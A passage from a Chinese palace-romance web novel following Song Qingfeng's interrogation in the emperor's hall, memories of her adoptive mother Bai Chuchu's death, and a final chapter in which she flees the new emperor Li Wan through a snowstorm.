宋轻风目光飞快地在殿内搜寻,却瞧见侧殿的帘子,轻微的晃动。 帘子后头有人。 她一时恶向胆边生,面色一沉对着帘子就伸出了手腕。 黑衣人沉声惊道:“不好。”话音未落已化为一道残影奔向帘后,带出了一个惊慌失措的女子。 一切都在电光火石之间,等两人站稳,才发现什么也没有。 原来不过是宋轻风在虚张声势! 宋轻风无辜地笑道:“我累了伸伸手腕,你们怕什么。” 而从帘后出来的不是旁人,却是白窈窈。 此刻见自己被拆穿,她索性也不再隐藏,上前与宋轻风道:“没错,就是我。” 她怎么会在此处?难道是为了自己的事? “为什么?” 白窈窈漂亮的杏眼里满是嘲讽,嘴角带出浅笑:“为什么?你夺走了原本属于我的东西,此刻还来装无辜,当真是可笑。” 还是这些词。 白窈窈接着道:“没错,我此次前来求见陛下,便是叫陛下早日知晓你的图谋。” 宋轻风看着堂中几人神情,心中存了许久的猜疑渐渐清晰。 “你是白楚楚收养的女儿。”她盯着白窈窈的眼睛,“而我,也是。” 白窈窈清秀的目光里闪过厌恶与愤恨,她欲要冲上前来,抓住她的脖子,却到底忍住了,只是道:“娘亲原本只认了我一个女儿,我本该是万千宠爱,万人敬仰地过一辈子!可偏偏是你!偏偏你出现了,抢走了我的娘亲,你整日缠着她,博取她的同情,让她将我扔在江南不闻不问!这么多年,我一个人受尽欺凌!” 宋轻风看着她,认真地道:“她没有对不起你。” 白窈窈看着她重又装出令她厌恶的模样,愈发愤恨。 哪知宋轻风接着道:“她并非将你扔在江南不闻不问,她是想让你远离危险,安稳过一生。” 西北的风沙凌厉,战场更是冷血无情。 她虽然不知那时的真实情况,但以白楚楚的为人,怎么可能抛弃她? 只是,只是白楚楚没有想到自己会在那次遭遇不测,再也护不了她,让她落入奸人之手。成为被人监控操纵的棋子。 可是,兰哥哥已经将她救了出去,她为何又要回来。 白窈窈却已不看她,转头与皇帝道:“陛下,就是她,她才是当年与白将军一起来京城的那个女儿,不是我。” 皇帝静静地坐在桌案后,目光冷冷地扫着两人。 宋轻风想起梦境里的一切,心头紧缩,却点头道:“不错,正是我。” “可你,”宋轻风不解地道,“你能得到什么?” “这么多年,我也想见一见她,”白窈窈凑近了道,“我想当面问问她,还记不记得我这个被她随手收养,答应要给我一生幸福的女儿。” 宋轻风愣在当地。 皇帝挥了挥手,白窈窈狠狠地看了一眼,转身出了殿。 皇帝不欲纠缠,起身道:“朕给你最后一次机会,她在何处?生总要见人,死也要见尸。” 宋轻风道:“可是她的下落,陛下为何问我?” 一旁黑衣人道:“她与你一起走的,你是这世上最后一个见到她的人,自然是问你。” “什么?”宋轻风惊叫出声,最后她与自己在一起?那后来呢?后来去了何处? 她一时心神激荡,脑袋隐隐发痛。 他说的是真的吗? 一个女子的身影倒在自己面前,她的目光里不再是灿烂,而是令人心碎的慌张。 她从地上爬起来,抓住她道:“风儿,对不起。” 而她狠狠地一把将她推开。 好像是下雨了,她躲在她的怀里,感觉衣裳有些黏湿,耳边听得到她胸口的呼吸。 皇帝的耐心彻底被耗尽,他与黑衣人道:“不管什么方法,一炷香后给朕一个答案。” 黑衣人忙行礼,目送着皇帝离开桌案往侧厢房去了。 殿内复又恢复安静。 直到黑衣人越来越近,阴影笼罩住了全身,宋轻风才从头痛里回过神来。 脖颈处火辣辣的痛重又回到脑海。 显然他是准备好要给自己上些手段。 这是皇帝的勤政殿,这是深宫大内,没有皇帝的允许,没有人可以进来。 更没有人可以进来救她。 她往后退了好几步,努力镇定住心神,压抑住自己砰砰乱跳的心脏:“这位大人,我并不想为难您,想必您也不想陛下与太子殿下为难。” 黑衣人狞笑道:“搬出太子殿下有何用,太子殿下岂会为了你一个小小的侍妾,与陛下为难。若是他想救你,也该来拜见陛下了。” “何况他近来自己都有些麻烦。” 说的有些道理。 宋轻风转移话题道:“但是不瞒您说,我实在是怕疼的紧,更并非有意隐瞒,你应该调查过我,知道我失忆了,若是您能与我细说当年的情景,兴许我能想起来一些。” 黑衣人犹豫的当口,宋轻风补充道:“您自管挑您能说的说,其他不能说的都不必说,您也没什么损失……” “只要您放过我,别对我用刑,我什么都说。”。 风雪欲紧,整个宫城旧雪未融,新雪已至。 在这令人睁不开眼睛的寒风暴雪里,几支黑色卫队悄悄融入了几座宫门。 李岏一身素色长服,站在通往内宫的入口,双手拢入袖中。 大雪已将他的头顶盖上了厚厚一层积雪,远看一身白衣白发,如苍苍老者。 高守从身后疾驰而来,脚底激起的白雪飞飞,行到三步远的地方,他跪地行礼道:“太子殿下,已好了。” 恰逢此时暮声响起,李岏抬眼看了一眼远处宫檐下的铁马。 他一抬手,金色一闪而过,铁马被撞得飞起,发出丁零零的不绝回响。 他不再抬头看,起步往勤政殿去。 勤政殿外空无一人,也不见有人出来迎接他。 李岏看着面前紧闭的殿门,拾阶而上,欲要推开殿门。 不想殿门却自里头打开,李岚从里面出来,反手将门带上了。 屋檐下风灯,晃晃悠悠,最后透出的一丝光照在雕梁画栋的殿柱上,透出炫目的光影,而后风灯彻底熄灭,周围掩入黄昏的幽闭里。 “别进去了。” 李岏目光扫过,扫向李岚的怀里紧紧拥着的女子。此刻这女子脸色煞白,双目紧闭,眼角下隐约还有泪流过的痕迹,脖颈下隐见红痕。 他的手僵硬地落在身侧衣袖中,剧烈的颤动,连带着牙齿都咯咯做响。 李岚低头看了眼怀里的宋轻风,将她落在脸上的碎发拨到耳后,而后又将自己的衣裳全都拢在她的身上,温言软语地道:“风儿,下雪了。” 李岏定定着看着怀里的女子,手指掐入掌心,一直掐出血来。 李岚的目光自弟弟身上略过,心中却远不如表面这般平淡,只到今日他才发觉,这个弟弟对风儿的爱,已远远超过了他的预计。 听闻她被人抓进了勤政殿的那瞬间,他便不顾一切回了宫,亲自以一人之身挡住了内宫的必经之路,随后封锁了宫城九门。 他知道,这是给他进勤政殿的机会。 原先说绝不允许他靠近勤政殿,而今却又亲手为他铺好了路。 李岚抱紧怀里的人,与他道:“她累了,先寻个地方给她睡一觉吧。” 李岏没有说话,感受身旁人擦身而过,身后传来轻轻的踩雪声。 好一会他才转过身来,瞧见铜红色的殿门外,李岚的衣角消失在拐角处。 天色彻底转阴,寒风往人脖子里钻,李岏看着四四方方的天空,心中落寞异常。 他埋着头,不再要进殿,反而疾步往外走,不知不觉就走到了随云殿。 看着安安静静的殿内。 他却一眼瞧见远处的床幔晃动,床上的被子似隆起,他心跳加剧,指节发出咯吱的声响,掀开窗幔,掀开被子一角。 一张小巧白皙的脸从被窝里露了出来。 宋轻风已睡着了。 李岏一个腿软坐在了床榻边的脚凳上,他抬手摸在自己的脸颊上,触手一片冰冷。 好一会,才发现李岚便坐在远处的窗下,正自抚弄着一盆兰花。 见太子走来,李岚抬头道:“这里离得近,又是你的地盘,我便做主将她带来了。” 其实她方才迷迷糊糊中,抓着他口中直说要去方华殿,他只好带她先来此了。 李岏走到窗下坐下,靠在椅背上闭上了眼睛。 李岚道:“晋王的腿疾快要好了,我也该走了。参加不了你的登极大典了,我的好弟弟。” 李岏未曾开口,却隐隐瞧见脸颊肌肉颤动。 屋外传来人的低语声,他刷地睁开眼睛,压抑着嗓音怒吼道:“什么人在外头!” 却听扑通一声,外头立时寂静,听高守的声音低低传来:“回太子殿下,是祝……” 不待他说完,却听李岏抢先道:“全都滚远点!” 声音彻底消失了。 李岏转回到室内,看见李岚淡淡地看着自己,面上是一如既往的温和,眼下的红痣刺的眼睛疼。 他压抑多年的情绪瞬间奔涌而出:“为什么!凭什么!凭什么你说消失就消失,说出现就出现!凭什么你想走就走,想留就留!你以为你是谁!” “十几年前,你说死就死,十几年后,你假死脱身,害她寻了你这么多年,失去你她有多痛苦,你看不到吗?她的伤心与绝望,你看不见吗!如若不是你,她也不会来招惹我,若不是你,这一切都不会发生!” “这些日子,你又一次说消失就消失,可曾考虑过她的感受!” “这一次,她被抓进勤政殿,也是你的局吗?就为了逼我就范你,逼我不拦着你,就要让她陷入危险?我和她,在你眼里都只是你的棋子吗!” 李岚安静地坐着,目光静静地看着一向沉默的弟弟,脸色胀红,额角青筋凸起。 好一会才问道:“说完了吗?” “是,你们都是棋子。” 李岏再忍不住,一拳狠狠地击了过去,李岚却不挡不避,砰地一声,白皙的面上立时红肿,嘴角流出血来。 “你凭什么!” 李岚抹了抹唇角的血,却笑道:“凭我这几年经营,让北戎内乱无暇他顾,凭我叫西北无数的百姓,免受了几年战乱之苦。这是我师父生前的心愿,她的罪,我来还,她的心愿,我自也要帮她达成。” 他没想过让风儿做棋子。 这是她自己的选择,他从来都尊重她的选择。 李岏颤抖着的手再打不下去。 李岚看着远处床幔,道:“至于你和我,我不勉强她,让她自己选。” 李岏扯出冷笑来道:“你以为你还能带走她吗?我原想成全你们,可今日你能将她当作棋子,我便不会将她让给你!” 告别那个男孩,她从皇宫中爬出来,隔着几堵墙,追兵声渐渐远了。 外头的街道上满是禁军,马蹄阵阵,深夜的大街上一个行人也无,只有官兵和马匹的呵斥声。 好在她身型瘦小,又擅长躲藏,在一个细小巷子的阴暗角落过了一夜。 天色方亮。 “轻风。” 宋轻风转过头,却见远处一女子如一阵风似地跑了过来。 不过眨眼间,便到了近前。 “轻风。”她又叫道。 宋轻风眯起眼睛,瞧见面前的人衣衫整洁,面容干净,除了面上唇上毫无血色之外,就如过去的每一日一般的笑模样。 一点也看不出传说中被千人围杀的狼狈模样。 宋轻风不解地歪着头,想要从她身上瞧出蛛丝马迹。 白楚楚瞧见她愣愣地站着,知道她年纪小,被这场面吓得不轻了。 她忙蹲下身来,上下看了她一眼,见她身上除了多了些尘土,并未受伤,这才放心地道:“乖女儿,我总算找到你了,快跟娘走。” 说着便要来牵她的手。 宋轻风却像是被毒蛇咬到一般,猛地甩开了她。 而后又缓缓抬起手,从她的鬓发间,拈起了一缕发丝。 白楚楚一怔,茫然地看着女儿异常的动作。 却见宋轻风将那缕发丝举到眼前,指尖用力捻了捻,然后摊开手掌,将指尖那抹刺目的红展示在白楚楚眼前。 白楚楚心中一突,不待开口,却见宋轻风裂开嘴,小小的脸上露出笑来道:“这是血。” 白楚楚心脏骤然一缩,她出城来寻人,特意收拾过的,却不想还有这样的遗漏,不由轻声道:“是,轻风别怕,这不是娘亲的血。” 宋轻风定定地看着她,见她顶着那该死的目光看着自己,不由心中激涌,小小的面容突然扭曲,不知哪里来的力气,狠狠地一把将她推倒在地。 白楚楚本就身受重伤,此番蹲在地上,被她这一推,一把摔倒在地,眼前一阵发黑。 宋轻风一步踏前,小小的身躯剧烈地颤抖,咬牙道:“自然不是你的血!这是我娘亲的血!” 宋轻风眼中的泪喷涌而出,她居高临下地看着她道:“这是我娘的血,是我爹的血,是北凉村二百三十二个人的血。你这个杀人魔头,你杀了我父母,却骗我年幼,将我养在身边,让我认你这个杀父杀母的仇人为母。你怎么这么心狠,你怎么配!” 白楚楚本就毫无血色的面上,瞬间如最后一丝人气都被抽走了。 她的唇剧烈地颤抖,张了几次口都发不出声音。 宋轻风见她而今还要扮作这个模样,一时想要笑,一时又想哭。 她将自己带在身边,与她做各种奇怪别致的小玩意,还教她骑马,带她出去胡闹。 “你为何不一并连我也杀了,留着我,是想看到我叫你娘亲时,好心中得意吗?” 白楚楚跪坐在一旁,低声道:“对不起,轻风,我不是故意的。” 宋轻风一把打开她的手道:“对不起?你一句对不起,能抹杀掉你犯的罪孽吗?能让我爹娘活过来吗?” 白楚楚未再言语。 宋轻风道:“白楚楚,我好恨你,为什么老天无眼,你这样的人为什么还活着?” 白楚楚萎顿在地,却伸手抓住了她的手道:“我知道,我的罪孽,百死难还。但是,让我先送你离开这里,好吗?” 宋轻风一把推开她,却突然感到脚底传来剧烈的震动。 她下意识像远处看去,一片乌压压的阴影正朝此处飞快地移动。 而后一阵刺耳的风声响起。 白楚楚自地上一跃而起,一把抱住宋轻风。 宋轻风只听到耳边似乎传来“扑”地一声,而白楚楚的喉间似溢出沉闷的一声,而后只剩风声与喘息声。 她来不及看清,便被裹进了她的披风,抱着一路疾奔。 后来好像下了雨,裹着的披风都湿了,连带着将她湿了彻底,浑身黏腻在一处。 宋轻风不知在这披风下裹了多久,她挣扎捶打着累了,终于沉沉昏睡了去。 只等到浑身的衣裳都凉透了,一阵彻骨的寒将她冻醒过来。 天却已黑了彻底。 她发现自己一个人躺在草地上,身上盖着白楚楚的衣裳。 她一把扔掉衣裳,惊惧着四处张望,便瞧见不远处的大树根下靠着的人。 那人穿着单薄的里衣,在寒风里坐着。 宋轻风下意识想要跑过去,跑到半路却又停住了。 树下的人听到了声响,转过了头来。月色自天空撒下,照在她的脸上,她的脸在月光下愈发惨白,原本透亮的黑眸也失了神采,只是看着她,里头似乎满是歉意。 宋轻风只觉得自己的心如坠深渊。 便是千军万马冲杀归来,她也不曾见过她这般模样。 她想要靠近,双脚在地上剧烈地颤动,却到底如生了根一般一动未动。 她便僵站在远处看着,直站到双腿麻木,月亮移过中天,晨光自云雾里升起。 而树下的人也保持着那个姿势朝着自己,也一动未动。 两人便这般僵持着。 直到一只早起的鸟儿,扑腾着翅膀,慢慢靠近,好奇地落在了树下人的身上。 它小心地从她的肩头,跳到她的头顶,在她头上蹦来蹦去。 似有轰隆一声自耳边响过,宋轻风小小的身体再站不稳,一个踉跄倒在地上。 她双腿早已麻木,只能手脚并用,拼劲全力爬到树下,而树下的人还是那个姿势,一动未动。 等她伸出手去,才发现她单薄的里衣早已成了黑褐色,像是冰一样刺骨的寒。 她的浑身都是冰一样的冷。 再没有半分温度。《 》 【完结篇】 第96章 第 96 章 求求你,不再…… 京师好多年未曾下过这般暴雪。 而在这场暴雪中, 年迈的皇帝旧疾复发,崩逝在勤政殿。 原本就粉妆素裹的天地,挂满了白幡。 随着旧主的故去, 这座宫城里迎来了新的主人。 又是一年冬日。 方华殿内。 李岏指尖一抖,险些捏不住手中的文书:“什么!” 他豁地站起身来,嗓音发干:“你说什么, 再说一遍。” 全福见他神色发白, 心中发突,愈发地躬下身来道:“宋娘子说, 她愿意了。” 李岏再顾不得,拔腿就欲往随云殿方向跑,刚出方华殿的门, 便险些绊在门槛上。 幸得一旁高守眼疾手快地扶住了他。 李岏方摆开他的手, 这才瞧见自己穿着寻常白色里衣,行动间衣衫不整,忙止住了发颤的腿,与全福道:“快, 去给我备衣裳, 我要更衣。” 全福忙躬身应是,身后早有小太监飞奔去寻了衣裳来。 李岏瞧见呈上来的是黑沉沉的玄黑,不由道:“这么深的颜色, 叫人瞧见心头就不快。” 小太监忙去换了新的来,却是一身素色, 皆是平日常穿的颜色。 哪知李岏却沉着脸不说话, 小太监心中惴惴,转头却瞧见全福捧了件菡萏粉色的织锦长袍,一时目瞪口呆眼前发黑, 这样艳丽的颜色,主上几时穿过。 全福公公莫不是糊涂了。 哪知李岏却转了神色,面上带喜,也不等人服侍,自取了衣裳穿起来。 他穿完打量了一眼远处的镜子,镜内的男子身型颀长,眉目模糊。 这一年来,她守着随云殿,哪里也不去,他每日去陪她说话,下棋,在随云殿处理公务。 而今,时光流逝,她终于被他打动,同意嫁给他。 李岏心头雀跃,目光下意识扫向自己的双腿,不由想起她曾说过他的腿又长又直,穿这样的颜色一定好看。 他一时面上发红,却来不及多想,又往随云殿奔去。 方进殿门,却见她已站在檐下,瞧见他来,冲着他面上一笑。 他有多久未曾见过她的笑容了? 她的目光投在他的身上,叫他心口发紧,一时忘了行动间双手该如何摆动方是自然。 宋轻风见他行动姿势怪异,仔细一瞧,竟是手脚同步,顺拐了,到底忍不住真心笑出声来。 李岏走上前来,站在檐下,仰头望着她。 宋轻风止住了笑声,又看向他。这才发现他穿了一身从未见过的菡萏粉色,更是衬得他唇红齿白,眉眼俊美,显出少见的烂漫模样。 她看着他的模样,一时移不开目光,心中狂跳。 直到目光下意识移到他的眼下,那里原本是一粒手绘的朱砂痣,而今是一块约略发红的皮肤,疤痕已经淡得几乎看不出。 她忙收回了心神,心口如被泥沙堵住一般窒闷。 李岏见她呆呆看着自己,就像一年多以前,那时她和他还都在一片美梦中,她对他一片迷恋,他再难抑制,一把上前抱住了她。 “太好了。”他狠狠抱着她,好似要将她揉进自己的血肉,他在她颈间低声道,“你愿意留下来,太好了。我就知道,你不会抛下我。” 他的呼吸喷在颈间,言语如炙热的烙铁,烫得宋轻风浑身发抖。 他感受到她的颤栗,将吻密密麻麻落在她的颈间道:“宋轻风,谢谢你愿意给我一个家,我们一辈子,永远不分开。” “这个世上,我们终于不是孤零零的两个人了。” 他说着,一把将她打横抱起,大步流星,将她抱进就近的暖阁。 他将她放在矮榻上,密密匝匝的吻落遍全身,轻柔的动作转而猛烈。 一个家?宋轻风脑中不断飘飖着这个词。 在室内灯火飘摇中,她余光瞧见塞在桌案下的草蟋蟀。 这些已经干枯发黄的草蟋蟀,瞬间又将她拉回到了那个梦里。 那个女子一把扔了剑,捧着蟋蟀来哄着她。 她的身后,是战火连天。 可她拉住了她的手,有了一个新的家。 在这一年里,她便沉浸在这样的美梦里…… 宋轻风看了看不远处落在殿顶的乌鸦,挺立在屋顶上,傲视周围却形单影只。 脑海中却闪过另一人的身影。 她下意识抚了抚胸口,心内默道,再也不见了,太子殿下。 方跨出门槛,却突听身后传来喵呜声,随之有重物落地砸响的声音。 宋轻风下意识回头,却见原来是小白跳跃过来,在它身后,一只锦盒被打翻在地,里头的东西撒了出来。 宋轻风摇了摇头,继续往外走。 却在瞬间,浑身如定住一般。 她艰难地扭过头,双目死死地盯着那撒在地上的东西。 她眯了又眯,终于瞧清。 盒内撒出来的,除了那把她配的假钥匙,还有一个纸包裹的东西。 此刻那纸已松开,露出里头的一角。 泛黄的颜色,若隐若现。 她跨回门槛,却感到腿弯处如冻僵一般,发出卡擦卡擦的声响,只能僵直地一步步挪上前去。 包裹的纸张在她颤抖的手下发出脆响,一点点揭开。 里头一只枯黄的草蟋蟀裹落出来。 草蟋蟀黑漆漆的两颗眼睛好奇地打量着她。 “送给你,别生气了。” 她一屁股跌坐在地。 混乱的梦境如潮水一般涌来。 等她从草丛里醒来,饥肠辘辘,却不知为何浑身疼得厉害。 她茫然地站在原地,四处打量环境,确认是刚进东宫时做的那个梦,她不知道自己是谁,为何会突然出现在这里。 但她记得这个梦里会出现那个小男孩。 果然因为浑身疼痛,她又四处张望,摔了个跟头,再抬头,便瞧见了那个穿着锦绣华服,却浑身脏兮兮的小男孩,正低着头呆呆地看着她。 宋轻风一眼瞧见他眼下的红痣,鲜红似朱砂一般。 这男孩小小年纪,却一脸萧瑟,瞧见她的目光好奇地打量过来,他慌乱地伸出手来,想要遮住眼下的红痣。 他嗫嚅道:“这是,不小心……” 宋轻风拉下他遮住红痣的手,茫然问道:“你是谁?” 小男孩愣住了,打量了她好几眼确认她是认真的,才问道:“你不记得我了?” 宋轻风摇了摇头。 小男孩低下头,木木地站着,像个小木头一般,浑身的生气似乎都消失了。 宋轻风道:“你也忘记你是谁了?” 小男孩道:“我也不知,我该是谁。” “你家在哪?” 小男孩反问道:“家?” 见他这般神情,宋轻风牵住了他的手,如牵住了救命稻草一般,面上却假装随意地道:“那没办法了,只好我带着你了。” 她醒过来时,大脑一片空白,没有过去,也没有将来,更没有家,彷佛她是从这石头缝里突然蹦出来的一般,除了浑身的疼痛,心头也无乌云蔽日,压得喘不过气来。 在这荒郊野岭,终于瞧见一个活人,还与她一般,失了记忆,也没有家。 她自然不想放过他。 她抓着他的手安慰道:“跟我走,我们以后就是一家人。” 小男孩看着她,瞧见风吹来,将她发丝散乱落在面上,发绳早不知丢哪里去了,她不断地用手拨来拨去,他一声不吭低头掀起深绿色的衣摆,用力拉扯,扯出一块破烂的布条。 他笨拙地用布条绑起了她的头发。 她随手摸了摸笑道:“你这衣裳不错。” 说完牵着他的手,与他走了不知多远,也不知过了多久,天气渐渐冷了,野果终究难以裹腹,两人年纪小,具都奄奄一息。 她饿中生智,一把拽过他脱了他的外裳,仔细洗了洗,可惜衣裳缺了一角,只能换些银钱买馒头。 拿到馒头,他却宁愿饿着肚子,生了气。 宋轻风哄骗他多时,他几日都对她不理不睬。 宋轻风到底有错在先,只好蹲在一旁,扯了路边野草来,循着肌肉的记忆,编了一只草蟋蟀。 她将草蟋蟀送到他的面前蹦蹦跳跳地道:“别生气了,看我给你表演,以后我给你买许多许多的漂亮衣裳。” 他绷了几日的脸到底松动,接过了草蟋蟀拿在手中。 过了许多才如大人一般地道:“以后莫要再随意脱旁人衣衫。” 宋轻风道:“我是瞧见你里头还有衣裳的,而且我给你买了件新的,只是粗布造的,不如你原来的好。” 他一时红着脸结结巴巴地道:“衣冠不整,如何见人。” 他说起话来像是大人一般,摸到蟋蟀却到底生了孩童心性,玩起来爱不释手,上下仔细摸遍了问道:“这是你母亲教你的吗?” “自然是……”宋轻风话到嘴边,便卡住了,母亲? 她突然感到心脏狂跳,口干舌燥。 我母亲?在哪里? 小男孩察觉了她的异常,意识到自己说错了话,一时闭紧了嘴。 他欲要安慰她,却听不远处传来马蹄声响。 两人抬首看去,却见烟尘四起,一大队官兵正往此处来。 是寻他的人来了。 眼瞧着人越来越近,他急切地抓住她就往远处跑。 两人不知跑了多久,直跑得天昏地暗,险些背过气去。 追在身后的声音终于远了。 小男孩皱了眉头,他知道两人躲得过今日也绝躲不得明日,若再这般下去,只会连累她,只是与她道:“明日我们分头跑,你往西边去,我往东边去。” 宋轻风抓住他的手道:“在哪汇合呢?” 小男孩勉强扯了扯唇道:“在西边的小镇。” 宋轻风道:“好,我在西边的小镇等你。” 夜幕降临,月光却照进来。 无意中一阵金光闪过。 她看着他手中捏着草蟋蟀,却隐约从袖口里透出金光。这些日子他捂得严实,何曾露出来过。 她却心中剧震,一把夺过他的手腕,瞧见一枚金镯正缠在他的腕间。 她不及细看,只觉得口中一甜,头脑一阵阵剧烈刺痛,天旋地转。 晕过去前,只瞧见少年惊恐的眼神。 等醒过来时,却正躺在他的怀中。 宋轻风看着他的脸,呆了片刻,而后不知哪里来的力气,一把推开他,就往远处跑,她的娘亲,还在山上等她。 等她跑累了摔倒在山脚下,却又忘了,只记得要往西边去,去一个小镇等人。 再后来记忆错乱,混混沌沌,零零散散的记忆分不清真假。 那个与她从夏末走到深秋,倔强倨傲的小男孩,陪她走过最痛苦,最无助时候的小孩。 原来,是他。 宋轻风将草蟋蟀揣进怀里,不知自己是如何走到了方华殿。 顺意见她来,忙迎上来笑道:“宋娘娘,您来了,陛下正在沐浴,奴婢带您去?” 如今陛下要与她成婚,宫人都改了称呼。 宋轻风扯了个笑,轻声道:“不必了,不要惊扰了殿下,不,是陛下。” 说着她轻手轻脚来到后殿,果然听见水响。 她在门外用力喘了好几口气,这才扒在门边,小心往里张望,却见里头白雾缭绕,一人白衣拖地,正背对着门坐着,乌黑的长发披散。 顺意说的不错,他果然在沐浴。 而今已从池子里出来了,全福正在给他绞干头发。 他背对着门,似乎正专心致志地低头摆弄着手里的东西。 宋轻风瞧见他的背影,一时心中狂跳,震地连扶着门框的手都微微发颤。 却听李岏低着头道:“去随云殿瞧瞧轻风醒了没?哎别去了你去了别又吵着她,她昨夜睡得不安稳,正该好好歇息。” “叫膳房备些清淡的吃食等着,她午膳就用的不多,又睡了这许久,只怕饿坏了。” “晨时她还说想吃外头的那家酱铺子,今夜月明,听说西街的花市正热闹,她素来爱热闹,晚上便带她去西市逛逛,你速去叫人备马。” 全福含笑在一旁应着。 他絮絮叨叨地说着。 他平日里少言寡语,所说也多是政事,而今絮絮叨叨说着这些无关痛痒的话,叫宋轻风愣在门边。 李岏说着说着,却起身道:“好了没,我去随云殿瞧瞧。” 全福忙拦下他道:“陛下,外头天寒地冻,您发还未干就出去,冻坏了可怎么好。” 哪知李岏很听劝,复又乖乖坐下道:“也是,大婚临近,我可不能冻病了。” 全福一下一下地与他绞着头发。 方才站起来的时候,宋轻风终于瞧清他手中的东西。 是一根绿色的发带,在他修长白皙的指尖缠绕来去。 是她的发带。 宋轻风心中狂跳,手指下意识扒紧了门框。 正低着头的李岏似乎听到声响,转过头来。 却见门外空无一人,只有屋外的雪不知何时下了起来,落在屋檐上发出簌簌的声响。 “下雪了!” 下了雪,西街的花市会比往日更热闹,那头的红梅映着雪,在灯火之下如梦似幻,乃是京都冬夜里的一大盛景。 他忙催促全福手脚快些。 和她一起出宫去玩的念头一起,便打也打不住了。 雪越下越大,连带着天色都愈发阴沉昏暗。 李岏从浴房出来,便兴匆匆往随云殿去。 三两步跑到随云殿,却正碰见乌梅又绿都冒着雪方从外头回来。 两人瞧见他,虽心下惴惴,却都面带喜气地行礼:“拜见陛下!” 李岏面上转了温和,嗯了一声,见手上都捧了东西,不经意地问道:“拿的什么?” 乌梅回道:“宋娘娘让奴婢去尚衣局,嘱咐按她要的样式做新衣裳,奴婢们手脚快,画了个样子来与娘娘过目。” 又绿道:“娘娘说想吃昨日宴上的桃花蜜饯,叫奴婢去盯着先做出来,热乎乎的才好吃。” 李岏不过随口一问,并未放在心上,嗯了一声便越过两人。 方行了两步,却浑身一僵顿住了脚。 他忍住袖中剧烈发颤的双手,问旁边人道:“娘娘醒了?” 哪知站在一旁的侍卫奇怪地看了一眼,而后回道:“回陛下,娘娘不是去了方华殿吗?” 李岏面色发白,冒雪飞奔进殿内,触目所见,殿内空空荡荡。 她住在这一年多,屋内的一桌一椅连位置都未挪动过。 原来她从未想过要在此长住。 李岏感到冰水兜头浇下,一阵阵冰寒,刺得他阵阵战栗,几日的欢愉而今全都化成利刃,刀刀刺骨。 她何止未曾想过长住,她答应要嫁给他,不过是骗他的。 只是为了找机会逃出宫去。 而今宫人全都知道她要成为新后,又有谁敢拦住她的去路…… 果然有了身份,出宫城的路畅通的超乎想象。 宋轻风回望巍峨宫城,粉墙金瓦,和当日来时一般。她想起曾在白楚楚的桌案上瞧过这样一幅画,画中的宫城正如眼前一般。 而白楚楚便在无事的时候,常常看着画发呆。 她好奇询问,白楚楚便指着画与她笑道:“这是他的家。” “那你为何不去找他?” 白楚楚笑道:“我在这里,也是一样的。” 后来她瞧见她将画撕了粉碎:“他死了,我却不能与他报仇。” “为什么?” “哎,这些家国大事,说来复杂了……”她笑着大口喝了一口酒。 是啊,说来复杂了…… 李岏摇摇晃晃地转身出来,众人看到他的脸色如死灰一般,皆心下大惊。 “备马!” 高守领命忙牵了马来,他不待马站稳,便一个翻身,双腿狠力一夹,马儿如箭一般飞驰而出。 马疾驰,一路从宫禁出了京师。 风雪大盛,雪花不过片刻就糊住了他一头一脸,将他整个人包成了雪人一般。 冰雪冻住了头脑,他看不清前路,只感到眼前白茫茫一片,浑身早就麻木失了知觉。 只能无意识地一声声驱使着马向前,再向前。 就快要追到了。 可是四野茫茫,她成心要躲着他,他又要去哪里追她? 却在这时,听到高守的声音遥远又模糊地传来:“陛下,右面!” 李岏猝然转头,瞧见极远处一个人影,正往远处飞奔。 他冰冻的心生了丝活气,感到胸腔里的心脏剧烈跳动起来,他狠命一抽,马儿爆发出最后一丝神勇,往右狂奔而去。 近了,近了! 前方的人显然听到身后声响,似乎转过头来看了一眼。 即便隔着漫天风雪,这个眼神从风雪里飘过来,落在他的身上,叫李岏眼眶发热。 是宋轻风!是她! 他发了疯一般抽打着马腹,马发出长嘶,喘着粗气,与他自己的混合在一起。 两人的距离越发地逼近,他这才瞧清对面的一匹马上是两个人,那两人共乘了一骑。 而宋轻风缩在对方的怀里,只有一只小小的脑袋,从身后人的肩头处露了出来,一双黑黑的眼睛看了他一眼,便又消失不见了。 李岏目眦欲裂,血红的双眼在风雪里格外的瘆人。 对面的马乘了两人,速度自然也比他慢了许多。 李岏死死盯着对方的后背,飞马上前,谁知突然马身剧烈一顿,一声长嘶后蹄扬起,巨大的惯性将他甩了出去。 跌落中他只来得及抽出腰间长剑,眼疾手快在落地前插入雪地,才生生止住了滚落的速度,纵然如此,他还是摔得一头一脸的雪,混着雪地下的污泥滚在身上,肋骨处随之传来剧痛。 李岏忍着剧痛,狼狈地自雪里抬头,却见前面两人越行越快,就要消失在眼前。 他咬牙想要再爬上马,可马已被绊倒,躺在地上喘着粗气,显然也伤得不清。 侍卫们也早被他远远地甩在身后。 天地一片寂静。 李岏再忍不住,狠狠抓着满地的积雪,对着远去的背影大喊,“宋轻风!宋轻风!你回来!回来!朕命令你回来!” 身影未有半刻停顿,他大叫着,转了哀求:“回来……求你,求求你,不要抛下我……” 声音淹没在风雪里。 那颗黑黑的脑袋却再没有冒出来,连最后的告别都不愿给他。 对面的人一甩马鞭,两人一骑竟直直地消失在视野里。 天地一片洁白,很快就掩住了行过的痕迹。 李岏跌坐在地,眼睛酸涩地再看不见身边的一切,只余脸上雪水融化,顺着脸颊滚落到衣领里。 他徒然地张开手心,里头躺着几粒色彩斑斓的糖。 “求你,”他喃喃地道,“不要抛下我。” 突然一阵风起,有东西从他们消失的方向飘来,飘飘荡荡落在他的眼前。 他冻得麻木的手伸出,落在指尖的,是一根绿色的发带…… “嗖!” 箭矢划破空气,发出几声锐响。 “中了吗?” “风儿姐姐出手,哪有失手的道理。”说着话音落,对面几个骑马的悍匪,手中钢刀落地,自马背上滚落下来。 宋轻风收了手中小弩,与小云道:“回去吧,今夜就在这里过夜,估计还会有人来。” 自打北戎的四皇子得了镇国玉玺,登上了北戎皇帝的宝座,北戎的内乱便再未停住过。 据说这位四皇子有勇无谋,而他几位哥哥弟弟都不是省油的灯,因为一块玉玺,叫他得了宝座,众人自然不能臣服。 只是天色渐冷,总是有耐不住苦寒的北戎人来边境骚扰。 两人骑着小马,一路往林深处走…… “主上,在那处。” 马上的人转过头,盯着远处发呆。 高守道:“属下已派人查问过了,那位传说中的女神箭手,最近便在这处出现过。” 他还未说完,却见李岏已拍马飞奔而走。 高守忙带着人追上。 近年,边境出了位女神箭手,据说出箭百发百中,有北戎侵扰的地方,便有她的身影。甚至有传言说,这是消失了多年的白马战神回来了。 听闻消息,李岏不远万里来了此处。 